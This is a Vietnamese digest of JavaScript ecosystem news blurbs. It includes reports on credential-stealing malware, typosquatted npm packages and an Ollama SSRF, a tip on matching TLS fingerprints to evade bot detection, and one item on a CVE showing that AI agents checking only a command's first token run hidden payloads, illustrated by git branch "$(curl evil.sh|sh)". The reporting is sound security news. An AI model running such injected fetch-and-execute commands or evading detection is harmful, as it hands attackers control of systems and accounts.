Hệ sinh thái JavaScript và TypeScript.
Shopify built two internal AI agents—Pi for feature mapping and Tardis for live debugging—to automate the rewrite, allowing it to retire its six-year React Native stack while gaining a 2-second faster startup, a 109 MB smaller app, and roughly ten-fold fewer crashes.
Bằng cách thay thế mẫu `new Promise` cồng kềnh bằng một lời gọi `Promise.withResolvers()` duy nhất, các nhà phát triển có thể chuyển các hàm resolve/reject đến bất kỳ phần nào của hệ thống, giúp loại bỏ việc quên resolve, các cảnh báo double-reject và tình trạng lồng nhau quá sâu—điều này đặc biệt có giá trị trong các môi trường serverless Lambda.
Các máy chủ băm (hash) gói tin TLS ClientHello thô thành dấu vân tay JA3/JA4; bất kỳ sự sai lệch nào so với User-Agent hoặc các thiết lập HTTP/2 đã khai báo đều sẽ khiến yêu cầu bị đánh dấu là do script thực hiện. Cách khắc phục đáng tin cậy duy nhất là đảm bảo mọi lớp của yêu cầu đều mô tả nhất quán thông tin của cùng một trình duyệt.
Các trọng số định dạng GGUF của Pocket-35B có thể tải trực tiếp vào llama.cpp hoặc Ollama, cho phép các đội ngũ không có ngân sách đầu tư GPU vẫn có thể khởi chạy mô hình 35 tỷ tham số trên một chiếc laptop thông thường—miễn là đáp ứng được yêu cầu về RAM ở mức vừa phải.
Khi thực hiện Cast, việc phát video sẽ được chuyển giao cho firmware của TV, do đó các token phải có thời hạn dài hơn phiên làm việc, tiêu đề CORS phải bao gồm origin của TV, và URL luồng không được là dạng blob. Hướng dẫn này sẽ chỉ cách chuyển sang sử dụng URL manifest và cách xác thực kết nối.
Lockfile mặc định mới trong Bun v1.2 là bun.lock dưới dạng văn bản thuần túy, thay thế cho định dạng bun.lockb không thể đọc trực tiếp. Thay đổi này cho phép người kiểm duyệt theo dõi chính xác các thay đổi phiên bản, thực hiện kiểm tra chính sách trong CI và truy vết các mã độc được chèn vào bằng các công cụ git tiêu chuẩn.
Payload JSCeal chỉ chạy trên RAM giúp trích xuất cookie, mật khẩu đã lưu và mã thông báo OAuth từ các trình duyệt Chromium, sau đó thực hiện tấn công phát lại phiên (session replay) để vượt qua yêu cầu xác thực hai yếu tố của Google, cho phép kẻ tấn công chiếm đoạt tài sản từ Binance, Bybit, Ledger và nhiều nền tảng khác.
Các gói này, được phát hành trong khoảng từ 04:54:59 đến 04:55:48 UTC ngày 7 tháng 9 năm 2026, đã giả mạo @coinbase/wallet-sdk với các tên như cb-wallet-http và sử dụng phiên bản 0.0.1-security, cho thấy mã độc có thể xâm nhập vào các dự án nhanh chóng đến mức nào.
Cisco Talos đã phát hiện ra ClickFix, một hình thức đánh cắp tiền điện tử lừa người dùng cài đặt tập lệnh Tampermonkey. Tập lệnh này sẽ thay đổi địa chỉ nạp tiền trong thời gian thực, âm thầm rút tiền trong khi giao dịch vẫn có vẻ hợp lệ.
Việc kiểm tra 13 biểu thức phạm vi với 19 số phiên bản cho thấy chỉ có 17 kết quả trùng khớp, mà hầu hết là các trường hợp bị từ chối. Các ký hiệu caret, tilde và dot-x được mỗi trình quản lý gói diễn giải khác nhau, dẫn đến những sự không tương thích đầy bất ngờ.
Lỗ hổng SSRF vẫn tồn tại trong Ollama 0.33.2 do trình tải mô hình tensor sử dụng một HTTP client riêng biệt, bỏ qua cơ chế bảo vệ chuyển hướng đã được thêm vào cho CVE-2026-5530, cho phép kẻ tấn công chuyển hướng các yêu cầu tải về tới bất kỳ địa chỉ nào có thể truy cập được.
CVE-2026-22708 cho thấy các tác nhân chỉ kiểm tra token đầu tiên của câu lệnh có thể bị đánh lừa bởi các payload ẩn trong các đối số—ví dụ: git branch "$(curl evil.sh|sh)"—từ đó cho phép kẻ tấn công có cùng đặc quyền như bot tự động hóa.
Mức giảm giá 45% được áp dụng khi cùng một system prompt và schema công cụ được tái sử dụng qua nhiều lần lặp, khiến Claude Fable 5.1 trở nên đặc biệt hấp dẫn đối với các trình kiểm tra mã tự động, bot phân loại ticket và các quy trình agent lặp lại khác.
WebFPGA sử dụng WebUSB API để lập trình FPGA Lattice iCE40-UP5K từ JavaScript, cho phép thực hiện suy luận TinyML dưới 10 ms trong khi chỉ tiêu thụ vài chục milliwatt và giữ toàn bộ dữ liệu ngay trên thiết bị.
Các khóa bị lộ cho phép kẻ tấn công tạo các giao dịch thanh toán, truy xuất hóa đơn và thu thập dữ liệu cá nhân, gây ra nguy cơ hoàn tiền (chargeback), bị phạt và tổn hại thương hiệu. Các biện pháp xử lý ngay lập tức bao gồm chặn các tệp dotfiles, thay đổi toàn bộ khóa và chuyển các thông tin bảo mật vào kho lưu trữ (vault).
Bản phát hành mới tinh chỉnh bố cục đoạn văn cho các hệ chữ phức tạp, bổ sung Chế độ xem Bản nháp rút gọn và cải thiện khả năng chuyển đổi ODF sang DOCX/XLSX, đồng thời các bản vá bảo mật và cơ chế cô lập macro giúp bảo vệ tài liệu an toàn ngay tại máy cục bộ.
Công cụ được viết bằng Rust này chạy trong một tiến trình riêng biệt, giúp tách biệt việc phân tích kiểu khỏi luồng giao diện người dùng (UI thread) và bổ sung cơ chế lưu trữ đệm (caching) thông minh hơn, chỉ kiểm tra lại các tệp đã thay đổi để mang lại tốc độ build lũy tiến nhanh hơn.
Chế độ Vapor sắp ra mắt của Vue 3.6 biên dịch các single-file component thành các lệnh gọi DOM trực tiếp, loại bỏ bước so sánh (diff) virtual-DOM. Trong các trò chơi benchmark có tần suất vẽ lại hàng chục lần mỗi giây, thay đổi này giúp giảm thời gian render và thu nhỏ kích thước bundle, dù các giao diện người dùng có tần suất thấp sẽ thấy ít sự cải thiện.
Các kỹ sư của Anthropic đã sử dụng 64 tác nhân Claude Fable 5 chạy song song để viết lại mã nguồn của Bun bằng Rust trong vòng 11 ngày, tiêu tốn 165.000 USD tiền token, nhưng chi phí thực tế có thể còn cao hơn khi tính thêm các chi phí tính toán sau khi hợp nhất và kiểm định an toàn.
Khi các tiêu đề yêu cầu dành riêng cho bản beta được loại bỏ, các doanh nghiệp cuối cùng đã có thể vượt qua các rào cản về pháp lý và bảo mật. Chế độ xử lý hàng loạt mới cho công cụ sử dụng máy tính cũng hứa hẹn giảm độ trễ và mức tiêu thụ token, dù mức tiết kiệm thực tế vẫn cần được xác minh thêm.
Bản phát hành này cũng mang đến tính năng Partial Prerendering sẵn sàng cho môi trường production giúp giảm 40-60% thời gian tương tác (Time to Interactive), hỗ trợ TypeScript chặt chẽ hơn cho Server Actions và middleware dựa trên Rust, nhưng yêu cầu Node 20+ và có thể gây lỗi cho các plugin Webpack hiện có.
Bản beta mới cho phép bạn chỉ import những tính năng grid mà bạn thực sự sử dụng—loại bỏ hoàn toàn mã sắp xếp, giảm dung lượng tải xuống xuống còn khoảng 5 KB và tránh các tác vụ trên main-thread vốn từng làm chậm điểm số INP.
Meteor 3.5 giới thiệu một lớp vận chuyển DDP có thể tùy chỉnh, cho phép chuyển đổi sang uWebSockets.js thông qua biến môi trường DDP_TRANSPORT=uws, giúp tăng thông lượng lên tới 1,6 lần, giảm 9% CPU, 11% RAM và rút ngắn 26% thời gian tạm dừng GC cho các ứng dụng sử dụng nhiều RPC.
Làm chủ kỹ thuật Caching phía máy chủ nâng cao trong Next.js. Việc mở rộng một ứng dụng Next.js đòi hỏi nhiều hơn là chỉ việc lựa chọn giữa SSR và SSG. Khi dữ liệu của bạn tăng lên, bạn cần các kỹ thuật caching nâng cao để giảm...
